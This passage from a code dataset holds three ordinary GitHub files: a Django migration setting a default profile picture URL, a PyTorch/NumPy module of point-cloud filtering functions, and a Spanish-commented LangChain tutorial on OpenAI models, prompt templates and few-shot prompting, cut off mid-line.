{"seq_id": "24650196342", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('users', '0001_initial'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='user',\n            name='picture_url',\n            field=models.CharField(default='/static/images/128.png', max_length=256),\n        ),\n    ]\n", "repo_name": "allan2327/nimbble-dev", "sub_path": "nimbble/users/migrations/0002_auto_20150824_2153.py", "file_name": "0002_auto_20150824_2153.py", "file_ext": "py", "file_size_in_byte": 427, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "70172772104", "text": "from __future__ import absolute_import, division, print_function\nfrom .depth_cloud import DepthCloud\nimport numpy as np\nfrom numpy.lib.recfunctions import structured_to_unstructured\nimport torch\nimport torch.nn.functional as fun\n\n__all__ = [\n    'filter_depth',\n    'filter_eigenvalue',\n    'filter_eigenvalue_ratio',\n    'filter_eigenvalue_ratios',\n    'filter_eigenvalues',\n    'filter_grid',\n    'filter_shadow_points',\n    'filter_valid_neighbors',\n    'within_bounds',\n    'filter_box',\n]\n\ndefault_rng = np.random.default_rng(135)\n\n\ndef filter_grid(cloud, grid_res, only_mask=False, keep='random', preserve_order=False, log=False, rng=default_rng):\n    \"\"\"Keep single point within each cell. Order is not preserved.\"\"\"\n    assert isinstance(cloud, (DepthCloud, np.ndarray, torch.Tensor))\n    assert isinstance(grid_res, float) and grid_res > 0.0\n    assert keep in ('first', 'random', 'last')\n\n    # Convert to numpy array with positions.\n    if isinstance(cloud, DepthCloud):\n        x = cloud.get_points().detach().cpu().numpy()\n    elif isinstance(cloud, np.ndarray):\n        if cloud.dtype.names:\n            x = structured_to_unstructured(cloud[['x', 'y', 'z']])\n        else:\n            x = cloud\n    elif isinstance(cloud, torch.Tensor):\n        x = cloud.detach().cpu().numpy()\n\n    # Create voxel indices.\n    keys = np.floor(x / grid_res).astype(int).tolist()\n\n    # Last key will be kept, shuffle if needed.\n    # Create index array for tracking the input points.\n    ind = list(range(len(keys)))\n    if keep == 'first':\n        # Make the first item last.\n        keys = keys[::-1]\n        ind = ind[::-1]\n    elif keep == 'random':\n        # Make the last item random.\n        rng.shuffle(ind)\n        # keys = keys[ind]\n        keys = [keys[i] for i in ind]\n    elif keep == 'last':\n        # Keep the last item last.\n        pass\n\n    # Convert to immutable keys (tuples).\n    keys = [tuple(i) for i in keys]\n\n    # Dict keeps the last value for each key (already reshuffled).\n    key_to_ind = dict(zip(keys, ind))\n    if preserve_order:\n        ind = sorted(key_to_ind.values())\n    else:\n        ind = list(key_to_ind.values())\n\n    if log:\n        # print('%.3f = %i / %i points kept (grid res. %.3f m).'\n        #       % (mask.double().mean(), mask.sum(), mask.numel(), grid_res))\n        print('%.3f = %i / %i points kept (grid res. %.3f m).'\n              % (len(ind) / len(keys), len(ind), len(keys), grid_res))\n\n    # TODO: Convert to boolean mask?\n    if only_mask:\n        # return mask\n        return ind\n\n    filtered = cloud[ind]\n    return filtered\n\n\ndef within_bounds(x, min=None, max=None, bounds=None, log_variable=None):\n    \"\"\"Mask of x being within bounds  min <= x <= max.\"\"\"\n    if not isinstance(x, torch.Tensor):\n        x = torch.tensor(x)\n    assert isinstance(x, torch.Tensor)\n\n    keep = torch.ones((x.numel(),), dtype=torch.bool, device=x.device)\n\n    if bounds:\n        assert min is None and max is None\n        min, max = bounds\n\n    if min is not None and min > -float('inf'):\n        if not isinstance(min, torch.Tensor):\n            min = torch.tensor(min)\n        keep = keep & (x.flatten() >= min)\n    if max is not None and max < float('inf'):\n        if not isinstance(max, torch.Tensor):\n            max = torch.tensor(max)\n        keep = keep & (x.flatten() <= max)\n\n    if log_variable is not None:\n        print('%.3f = %i / %i points kept (%.3g <= %s <= %.3g).'\n              % (keep.double().mean(), keep.sum(), keep.numel(),\n                 min if min is not None else float('nan'),\n                 log_variable,\n                 max if max is not None else float('nan')))\n\n    return keep\n\n\ndef filter_depth(cloud, min=None, max=None, only_mask=False, log=False):\n    \"\"\"Keep points with depth in bounds.\"\"\"\n    assert isinstance(cloud, (DepthCloud, np.ndarray))\n\n    if isinstance(cloud, DepthCloud):\n        depth = cloud.depth\n    elif isinstance(cloud, np.ndarray):\n        if cloud.dtype.names:\n            x = structured_to_unstructured(cloud[['x', 'y', 'z']])\n        else:\n            x = cloud\n\n        if cloud.dtype.names and 'vp_x' in cloud.dtype.names:\n            vp = structured_to_unstructured(cloud[['vp_%s' % f for f in 'xyz']])\n        else:\n            vp = np.zeros((1, 3), dtype=x.dtype)\n\n        x = torch.as_tensor(x)\n        vp = torch.as_tensor(vp)\n        depth = torch.linalg.norm(x - vp, dim=1, keepdim=True)\n\n    keep = within_bounds(depth, min=min, max=max, log_variable='depth' if log else None)\n    if only_mask:\n        return keep\n    filtered = cloud[keep]\n    return filtered\n\n\ndef filter_box(cloud, box_size, box_T=None, only_mask=False):\n    \"\"\"Keep points with rectangular bounds.\"\"\"\n    assert isinstance(cloud, (DepthCloud, np.ndarray))\n\n    if isinstance(cloud, DepthCloud):\n        pts = cloud.points\n    elif isinstance(cloud, np.ndarray):\n        if cloud.dtype.names:\n            pts = structured_to_unstructured(cloud[['x', 'y', 'z']])\n        else:\n            pts = cloud\n        assert pts.ndim == 2, \"Input points tensor dimensions is %i (only 2 is supported)\" % pts.ndim\n        pts = torch.from_numpy(pts)\n\n    if box_T is None:\n        box_T = np.eye(4)\n    assert isinstance(box_T, np.ndarray)\n    assert box_T.shape == (4, 4)\n    box_center = box_T[:3, 3]\n    box_orient = box_T[:3, :3]\n\n    pts = (pts - box_center) @ box_orient\n\n    x = pts[:, 0]\n    y = pts[:, 1]\n    z = pts[:, 2]\n\n    keep_x = within_bounds(x, min=-box_size[0] / 2, max=+box_size[0] / 2)\n    keep_y = within_bounds(y, min=-box_size[1] / 2, max=+box_size[1] / 2)\n    keep_z = within_bounds(z, min=-box_size[2] / 2, max=+box_size[2] / 2)\n\n    keep = torch.logical_and(keep_x, keep_y)\n    keep = torch.logical_and(keep, keep_z)\n\n    if only_mask:\n        return keep\n    filtered = cloud[keep]\n    return filtered\n\n\ndef filter_valid_neighbors(cloud, min=None, only_mask=False, log=False):\n    \"\"\"Keep points with enough valid neighbors.\"\"\"\n    assert isinstance(cloud, DepthCloud)\n    assert cloud.neighbors is not None\n    num_valid = cloud.valid_neighbor_mask().sum(dim=-1)\n    keep = within_bounds(num_valid, min=min, log_variable='valid neighbors' if log else None)\n    if only_mask:\n        return keep\n    filtered = cloud[keep]\n    return filtered\n\n\ndef filter_eigenvalue(cloud, eigenvalue=0, min=None, max=None, only_mask=False, log=False):\n    \"\"\"Keep points with specific eigenvalue in bounds.\"\"\"\n    with torch.no_grad():\n        keep = within_bounds(cloud.eigvals[:, eigenvalue],\n                             min=min, max=max, log_variable='eigenvalue %i' % eigenvalue if log else None)\n    if only_mask:\n        return keep\n    filtered = cloud[keep]\n    return filtered\n\n\ndef filter_eigenvalues(cloud: DepthCloud, bounds: list, only_mask: bool=False, log: bool=False):\n    mask = None\n    if bounds:\n        for eig, min, max in bounds:\n            eig_mask = filter_eigenvalue(cloud, eig, min=min, max=max, only_mask=True, log=log)\n            mask = eig_mask if mask is None else mask & eig_mask\n    else:\n        mask = torch.ones((cloud.size(),), dtype=torch.bool)\n    if log and mask is not None:\n        print('%.3f = %i / %i points kept (eigenvalues within bounds).'\n              % (mask.double().mean(), mask.sum(), mask.numel()))\n    if only_mask:\n        return mask\n    cloud = cloud[mask]\n    return cloud\n\n\ndef filter_eigenvalue_ratio(cloud, eigenvalues=(0, 1), min=None, max=None, only_mask=False, log=False):\n    \"\"\"Keep points with specific eigenvalue ratio in bounds.\"\"\"\n    assert cloud.eigvals is not None\n    assert len(eigenvalues) == 2\n    assert all(0 <= i <= 2 for i in eigenvalues)\n    i, j = eigenvalues\n    with torch.no_grad():\n        ratio = cloud.eigvals[:, i] / cloud.eigvals[:, j]\n        keep = within_bounds(ratio, min=min, max=max,\n                             log_variable='eigenvalue %i / eigenvalue %i' % eigenvalues if log else None)\n    if only_mask:\n        return keep\n    filtered = cloud[keep]\n    return filtered\n\n\ndef filter_eigenvalue_ratios(cloud: DepthCloud, bounds: list, only_mask: bool=False, log: bool=False):\n    mask = None\n    if bounds:\n        for i, j, min, max in bounds:\n            eig_mask = filter_eigenvalue_ratio(cloud, (i, j), min=min, max=max, only_mask=True, log=log)\n            mask = eig_mask if mask is None else mask & eig_mask\n    else:\n        mask = torch.ones((cloud.size(),), dtype=torch.bool)\n    if log and mask is not None:\n        print('%.3f = %i / %i points kept (eigenvalue ratios within bounds).'\n              % (mask.double().mean(), mask.sum(), mask.numel()))\n    if only_mask:\n        return mask\n    cloud = cloud[mask]\n    return cloud\n\n\ndef filter_shadow_points(cloud: DepthCloud, angle_bounds: list, only_mask: bool=False, log: bool=False):\n    \"\"\"Filter shadow points from the cloud.\n\n    Filter similar to https://wiki.ros.org/laser_filters#ScanShadowsFilter\n    bounding minimum and maximum angle among neighboring beams.\n\n    :param cloud:\n    :param angle_bounds:\n    :param only_mask:\n    :param log:\n    :return:\n    \"\"\"\n    assert cloud.vps is not None\n    assert cloud.dir_neighbors is not None\n\n    # Sanitize angle bounds (make both valid).\n    if angle_bounds[0] is None or not (angle_bounds[0] >= 0.0):\n        angle_bounds[0] = 0.0\n    if angle_bounds[1] is None or not (angle_bounds[1] <= torch.pi):\n        angle_bounds[1] = torch.pi\n    angle_bounds = torch.as_tensor(angle_bounds)\n    assert isinstance(angle_bounds, torch.Tensor)\n\n    # TODO: Convert to cos and bound cos.\n    # cos_bounds = torch.cos(angle_bounds)\n\n    # Create vectors (viewpoint - x) and (neighbor - x).\n    x = cloud.get_points()\n    o = cloud.vps\n    ox = o.unsqueeze(dim=1) - x.unsqueeze(dim=1)\n    nx = x[cloud.dir_neighbors] - x.unsqueeze(dim=1)\n\n    # Compute angle between these vectors.\n    c = fun.cosine_similarity(ox, nx, dim=-1)\n    a = torch.acos(c)\n    # Sanitize invalid angles (put them within bounds).\n    invalid = (cloud.dir_neighbor_weights != 1.0)\n    a[invalid] = angle_bounds.mean()\n\n    # Compare minimum and maximum angles among neighbors to the bounds.\n    a_min = a.amin(dim=-1)\n    a_max = a.amax(dim=-1)\n    mask = (a_min >= angle_bounds[0]) & (a_max <= angle_bounds[1])\n\n    if log and mask is not None:\n        print('%.3f = %i / %i points kept (shadow points removed).'\n              % (mask.double().mean(), mask.sum(), mask.numel()))\n\n    if only_mask:\n        return only_mask\n\n    cloud = cloud[mask]\n    return cloud\n", "repo_name": "ctu-vras/depth_correction", "sub_path": "src/depth_correction/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 10451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.default_rng", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 26, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 26, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 31, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.lib.recfunctions.structured_to_unstructured", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 89, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 98, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 99, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 103, "usage_type": "call"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 118, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 120, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 122, "usage_type": "attribute"}, {"api_name": "numpy.lib.recfunctions.structured_to_unstructured", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.lib.recfunctions.structured_to_unstructured", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 131, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 133, "usage_type": "call"}, {"api_name": "torch.as_tensor", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.linalg.norm", "line_number": 135, "usage_type": "call"}, {"api_name": "torch.linalg", "line_number": 135, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 146, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 146, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 148, "usage_type": "argument"}, {"api_name": "numpy.ndarray", "line_number": 150, "usage_type": "attribute"}, {"api_name": "numpy.lib.recfunctions.structured_to_unstructured", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 160, "usage_type": "attribute"}, {"api_name": "torch.logical_and", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.logical_and", "line_number": 176, "usage_type": "call"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 186, "usage_type": "argument"}, {"api_name": "torch.no_grad", "line_number": 198, "usage_type": "call"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 207, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 214, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 214, "usage_type": "attribute"}, {"api_name": "torch.no_grad", "line_number": 230, "usage_type": "call"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 240, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 247, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 247, "usage_type": "attribute"}, {"api_name": "depth_cloud.DepthCloud", "line_number": 257, "usage_type": "name"}, {"api_name": "torch.pi", "line_number": 275, "usage_type": "attribute"}, {"api_name": "torch.pi", "line_number": 276, "usage_type": "attribute"}, {"api_name": "torch.as_tensor", "line_number": 277, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 278, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.cosine_similarity", "line_number": 290, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 290, "usage_type": "name"}, {"api_name": "torch.acos", "line_number": 291, "usage_type": "call"}]}
{"seq_id": "18385159564", "text": "# -*- coding: utf-8 -*-\n\n#En Python se introducen comentarios de una sola linea con el simbolo #.\n#La primera línea de código incluida en este programa se conoce como declaración de codificación o codificación \n#de caracteres. Al especificar utf-8 (caracteres Unicode) como la codificación, nos aseguramos de que el archivo \n#pueda contener caracteres especiales, letras acentuadas y otros caracteres no ASCII sin problemas, garantizando \n#que Python interprete correctamente esos caracteres y evite posibles errores de codificación.\n#Se puede detener una ejecución con el comando [CTRL] + C puesto en consola, con el comando \"cls\" se borra su \n#historial y en Visual Studio Code con el botón superior derecho de Play se corre el programa.\n#Para comentar en Visual Studio Code varias líneas de código se debe pulsar:\n#[CTRL] + K (VSCode queda a la espera). Después pulsa [CTRL] + C para comentar y [CTRL] + U para descomentar.\n\n#IMPORTACIÓN DE LIBRERÍAS:\n#IMPORTACIÓN DE LLAVE: Cuando se quiera utilizar una API que utiliza un key, por seguridad es de buenas prácticas \n#declararla en un archivo externo, además cabe mencionar que el nombre de dicho archivo y constante no pueden empezar \n#con un número, sino cuando la quiera importar obtendré un error y se va accediendo a sus carpetas por medio de puntos:\n# - Directorio normal:      carpeta1/carpeta2/carpeta3\n# - Directorio paquetes:    carpeta1.carpeta2.carpeta3\n#La parte del directorio se coloca después de la palabra reservada import y posteriormente se manda a llamar sus \n#variables o constantes de igual manera a través de un punto.\nimport API_Keys.Llaves_ChatGPT_Bard_etc\n#ChatGPT API key\nApiKey = API_Keys.Llaves_ChatGPT_Bard_etc.LlaveChatGPT \n\n\n\n\n\n#1.-MODELOS (Models): El modelo se refiere a la red neuronal que se va a utilizar para procesar el texto de entrada y \n#generar una respuesta, los Large Language Model (LLM) responden preguntas sin guardar un historial, mientras que los \n#Chats si guardan las preguntas y respuestas realizadas para crear una conversación. Existen varios modelos dentro de \n#una misma compañía, por ejemplo, OpenAI cuenta con gpt3, gpt4, gpt3.5 turbo, etc.\n#OpenAI: Clase de la librería langchain que permite utilizar el LLM (Large Language Model) de OpenAI con Python, este\n#puede resolver tareas sencillas, pero no se le proporciona roles y no guarda un historial de conversación.\nfrom langchain.llms import OpenAI               #OpenAI: Modelo LLM.\n#Cabe mencionar que, al utilizar la API en su modo gratuito, solo se podrán realizar 100 llamadas a la API por día, \n#si se excede ese límite, se recibirá el error RateLimitError al intentar ejecutar el programa de Python, pero si se \n#compra el servicio de la API, se cobrará a través de Tokens, que representan pedazos de palabras; como máximo se \n#pueden recibir o mandar a la vez 4096 tokens, que aproximadamente son 3,072 palabras.\n#OpenAI(): En el constructor de la clase OpenAI perteneciente al paquete llms de la librería langchain se indica: \n# - model_name: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará text-davinci-003 que \n#   pertenece a GPT-3.5.\n# - openai_api_key: Con este parámetro se roporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - prompt_length: La longitud del prompt.\n# - max_tokens: El número máximo de tokens que se pueden generar.\n# - stop_token: El token de parada.\n# - temperature: La temperatura es un valor entre 0 y 1 que indica la creatividad con la que contesta el LLM, si es \n#   demasiado grande, puede responder con algo totalmente aleatorio y si es muy bajo responderá lo mismo siempre, \n#   función que podría ser deseada cuando por ejemplo se contestan problemas matemáticos.\n#Todos los modelos disponibles para usarse con OpenAI estan enlistados en el siguiente enlace y cada uno es mejor \n#en ciertas funciones que el otro:\n#https://platform.openai.com/docs/models\nopenaiLLM = OpenAI(model_name = \"text-davinci-003\", openai_api_key = ApiKey, temperature = 0.5)           #LLM.\n#A través de la instancia del objeto OpenAI se le puede mandar texto directamente al LLM convocado.\nrespuestaLLM = openaiLLM(\"Cuentame un chiste muy gracioso\")\n#print(): Método para imprimir un mensaje en consola y después dar un salto de línea (Enter).\nprint(\"Respuesta LLM: \", respuestaLLM + \"\\n\\n\")\n\n#ChatOpenAI: Clase de la librería langchain que permite utilizar el modelo de chat (ChatGPT) de OpenAI con Python, este\n#puede contestar preguntas adoptando un rol y guardar un historial durante la conversación.\nfrom langchain.chat_models import ChatOpenAI    #ChatOpenAI: Modelo de Chat.\nfrom langchain.schema import HumanMessage       #HumanMessage: Clase para mandar una pregunta del usuario al Chat.\n#ChatOpenAI(): En el constructor de la clase ChatOpenAI del paquete chat_models de la librería langchain se indica: \n# - model_name: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará gpt-3.5-turbo que \n#   pertenece a GPT-3.5.\n# - openai_api_key: Con este parámetro se proporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - prompt_length: Longitud del prompt.\n# - max_tokens: Número máximo de tokens que se pueden generar.\n# - stop_token: El token de parada.\n# - temperature: La temperatura es un valor entre 0 y 1 que indica la creatividad con la que contesta el LLM, si es \n#   demasiado grande, puede responder con algo totalmente aleatorio y si es muy bajo responderá lo mismo siempre, \n#   función que podría ser deseada cuando por ejemplo se contestan problemas matemáticos.\n#Todos los modelos disponibles para usarse con OpenAI estan enlistados en el siguiente enlace y cada uno es mejor \n#en ciertas funciones que el otro:\n#https://platform.openai.com/docs/models\nopenaiChatGPT = ChatOpenAI(model_name = \"gpt-3.5-turbo\", openai_api_key = ApiKey, temperature = 0.7)    #Chat.\n#A través de un objeto de la clase ChatOpenAI se le mandará al modelo una lista que indique el rol y pregunta mandada \n#al chat, de forma muy parecida a como se realiza con el método ChatCompletion.create() de la API openai; esto dentro \n#de la librería langchain se realiza a través del constructor de un objeto HumanMessage(role = \"\", content = \"\") y el\n#resultado de igual manera será una lista, por lo que se deberá transformar a un string con el método str() para poder\n#imprimirlo en consola.\nrespuestaChatGPT = openaiChatGPT([HumanMessage(role = \"user\", content=\"Hola como estás?\")])\nprint(\"Respuesta Chat: \" + str(respuestaChatGPT) + \"\\n\\n\")\n\n\n\n\n\n#2.-PROMPTS: Es el texto que se le envía al modelo para generar una respuesta y en este es donde se utilizan las \n#técnicas de Prompt Engineering, para ello la librería LangChain cuenta con diferentes clases que permiten utilizar \n#dichas técnicas, dependiendo de si se está mandando el Prompt a un LLM o a un Chat.\n#PromptTemplate: Clase de la librería langchain que permite mandar instrucciones o preguntas personalizadas a un modelo \n#LLM (Large Language Model) previamente invocado con Python, que no guarda un historial.\nfrom langchain import PromptTemplate            #PromptTemplate: Pregunta mandada a un modelo LLM.\n#El template se declara como un String que se encuentre entre dos comillas triples \"\"\"Instrucción Prompt\"\"\", el punto \n#de esto es declarar una instrucción que se puede aplicar a varias preguntas distintas y las variables de dicha \n#pregunta se declaran dentro de dos llaves {variablePrompt}.\ntemplateTech = \"\"\"Eres un asistente virtual de {rolAsistenteVirtual} que proporciona un camino de aprendizaje dando \nopciones cortas y concretas, pensando cada paso, paso a paso de los temas individuales que se deben aprender para \nconvertirse en un conocedor de un tema en específico.\nPregunta: Cuales son los pasos para aprender sobre {aprenderTema}.\nRespuesta:\"\"\"\n#PromptTemplate(): En el constructor de la clase PromptTemplate perteneciente a la librería langchain se indica: \n# - template: Parámetro que indica la pregunta del prompt, esta se pudo haber guardado previamente en una variable.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro del template entre llaves {}.\nplantillaPrompt = PromptTemplate(template = templateTech, input_variables = [\"rolAsistenteVirtual\", \"aprenderTema\"])\n#PromptTemplate().format(): Método que rellena las variables del template con valores de entrada.\npromptMandadoLLM = plantillaPrompt.format(rolAsistenteVirtual = \"Tecnología\", aprenderTema = \"IoT\")\nprint(\"Prompt LLM: \" + promptMandadoLLM + \"\\n\\n\")\n#OpenAI(PromptTemplate().format()): Prompt mandado al modelo LLM.\nrespuestaPromptLLM = openaiLLM(promptMandadoLLM)\nprint(\"Respuesta LLM con Prompt: \", respuestaPromptLLM + \"\\n\\n\")\n#OpenAI().get_num_tokens(PromptTemplate().format()): El método get_num_tokens() se aplica al objeto del Modelo \n#utilizado y sirve para calcular el número de tokens enviados en un Prompt.\nprint(\"Número de Tokens del Promt =\", openaiLLM.get_num_tokens(promptMandadoLLM), \"del máximo que son 4096. \\n\\n\")\n\n#ChatPromptTemplate: Clase de la librería langchain que permite mandar instrucciones o preguntas personalizadas a un \n#modelo de Chat, este puede contestar preguntas adoptando un rol a través de las siguientes clases:\n#   - SystemMessagePromptTemplate: Con esta clase se indica el rol que interpretará ChatGPT al responder las preguntas \n#     del usuario.\n#   - HumanMessagePromptTemplate: Con esta clase se representa el rol del usuario que manda preguntas a ChatGPT.\n#   - AIMessagePromptTemplate: Con esta clase se representa el rol que es adoptado por ChatGPT siempre que responda la \n#     pregunta de un usuario. Su mayor uso es el de permitir que el chat recuerde entradas y salidas anteriores.\nfrom langchain.prompts import ChatPromptTemplate #ChatPromptTemplate: Instrucciones mandadas a un modelo de chat.\nfrom langchain.prompts import  SystemMessagePromptTemplate, HumanMessagePromptTemplate, AIMessagePromptTemplate\n\n#SYSTEM - ROL DEL CHAT AL RESPONDER PREGUNTAS DEL USUARIO: Para ello se utiliza un objeto PromptTemplate.\n#PromptTemplate(): En el constructor de la clase PromptTemplate perteneciente a la librería langchain se indica: \n# - template: Parámetro que indica la pregunta del prompt.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro del template entre llaves {}.\nplantillaPromptSistema = PromptTemplate(\n    template = \"Eres un asistente virtual de viajes que me recomienda alternativas interesantes para viajar por {paisViaje}.\",\n    input_variables = [\"paisViaje\"]\n)\n#SystemMessagePromptTemplate(): Esta clase recibe como parámetro un objeto PromptTemplate, que previamente ya tiene \n#diseñado el template que se mandará en el Prompt, indicándole al Chat el rol que está interpretando al responder.\npromptSistema = SystemMessagePromptTemplate(prompt = plantillaPromptSistema)\n\n#HUMAN - PREGUNTAS QUE EL USUARIO LE HACE AL MODELO: Para ello se utiliza un objeto PromptTemplate.\nplantillaPromptHumano = PromptTemplate(\n    template = \"Mi viaje empieza el {fechaInicio} y termina el {fechaFin}. El vuelo es redondo, llegando y saliendo de {ciudadVuelo}\",\n    input_variables = [\"fechaInicio\", \"fechaFin\", \"ciudadVuelo\"]\n)\n#HumanMessagePromptTemplate(): Esta clase recibe como parámetro un objeto PromptTemplate, que previamente ya tiene \n#diseñado el template de la pregunta que hace el usuario al chat.\npromptHumano = HumanMessagePromptTemplate(prompt = plantillaPromptHumano)\n\n#ChatPromptTemplate.from_messages(): Método que sirve para unificar los templates previamente creados para el sistema \n#(que le dice al modelo el rol que debe interpretar al responder mis preguntas), para el humano (que indica tal cual \n#la pregunta realizada por el usuario) y de la AI (que es un rol adoptado por el modelo para guardar las preguntas y \n#respuestas realizadas en un historial), creando así una conversación. El parámetro que recibe el método es una lista \n#que incluye todas las plantillas de Prompt mencionadas previamente.\nplantillaChatPrompt = ChatPromptTemplate.from_messages([promptSistema, promptHumano])\n#ChatPromptTemplate().format_prompt().to_messages(): Método que rellena las variables del template mandado al Chat con \n#valores de entrada para el prompt del sistema, del humano y de la AI, retornando una lista.\npromptMandadoChat = plantillaChatPrompt.format_prompt(\n                                            paisViaje = \"Francia\", \n                                            fechaInicio = \"30/11/2023\", \n                                            fechaFin = \"30/11/2023\",\n                                            ciudadVuelo = \"Madrid\").to_messages()\n#str(): Método que convierte un número, lista, diccionario, etc. en un string para que pueda ser impreso en consola.\nprint(\"Prompt Chat: \" + str(promptMandadoChat) + \"\\n\\n\")\n#ChatOpenAI(ChatPromptTemplate().format().to_messages()): Prompt mandado al modelo de Chat.\nrespuestaChat = openaiChatGPT(promptMandadoChat)\n#Del diccionario retornado, el key de content es el que contiene la respuesta de la pregunta.\nprint(\"Respuesta de Chat con Prompt: \", respuestaChat.content + \"\\n\\n\")\n\n#FewShotPromptSelector: Clase de la librería langchain que permite mandar ejemplos con el formato de respuesta que se \n#espera obtener al mandar un Prompt, utilizando así la técnica Few-Shot Prompting, también llamada Example Selector.\nfrom langchain import FewShotPromptTemplate     #FewShotPromptTemplate: Ejemplos de respuesta mandados al modelo.\n#Primero se declara una lista con diccionarios anidados de preguntas y respuestas con el formato que se busca obtener.\nejemplos = [\n    {\"pregunta\": \"¿Cuales son los lugares más interesantes de la ciudad de México?\", \"respuesta\": \"El paseo en globo aerostático sobre las pirámides de Teotihuacán\"},\n    {\"pregunta\": \"¿Cuales son los lugares más interesantes de Puerto Vallarta?\", \"respuesta\": \"La cascada El Salto\"},\n    {\"pregunta\": \"¿Cuales son los lugares más interesantes de Toluca?\", \"respuesta\": \"El nevado de Toluca\"}\n]\n#PromptTemplate(): En el constructor de la clase PromptTemplate perteneciente a la librería langchain se indica: \n# - template: Parámetro que indica la pregunta del prompt.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro del template entre llaves {}.\n#Cuando esto se utiliza después de haber declarado una lista de ejemplos, se debe indicar el mismo nombre de las keys \n#de sus diccionarios en la lista del parámetro input_variables.\nplantillaPromptEjemplos = PromptTemplate(\n    input_variables = [\"pregunta\", \"respuesta\"],\n    template = \"La Pregunta es: {pregunta} y su Respuesta es: {respuesta}\"\n)\n#FewShotPromptTemplate(): Esta clase recibe como parámetro un objeto PromptTemplate, que ya tiene diseñado un template \n#que incluye los ejemplos de preguntas y respuestas que se espera recibir al hacer una pregunta al Chat:\n# - example_prompt: Parámetro que recibe un objeto PromptTemplate, que previamente haya declarado una plantilla de \n#   Prompt que incluya ejemplos de la respuesta que se espera obtener.\n# - examples: Recibe una lista de prompts de ejemplo, que ayuda a obtener una respuesta con un formato específico.\n# - prefix: Indica la instrucción inicial que se dá al Prompt, la cual puede estar asignando un rol de comportamiento \n#   al modelo.\n# - suffix: Indica la instrucción final que se dá al Prompt, que usualmente es la pregunta realizada al modelo.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro del parámetro suffix de este mismo objeto FewShotPromptTemplate entre llaves {}.\npromptEjemplos = FewShotPromptTemplate(\n    example_prompt = plantillaPromptEjemplos,\n    examples = ejemplos,\n    prefix = \"Eres un asistente virtual inútil y burlón que hace bromas de lo que sea que el usuario pregunte\",\n    suffix = \"La Pregunta es: {Preguuuuntame} y su Respuesta es:\",\n    input_variables = [\"Preguuuuntame\"]\n)\n#FewShotPromptTemplate().format(): Método que rellena las variables del template con valores de entrada.\npromptEjemlosLLM = 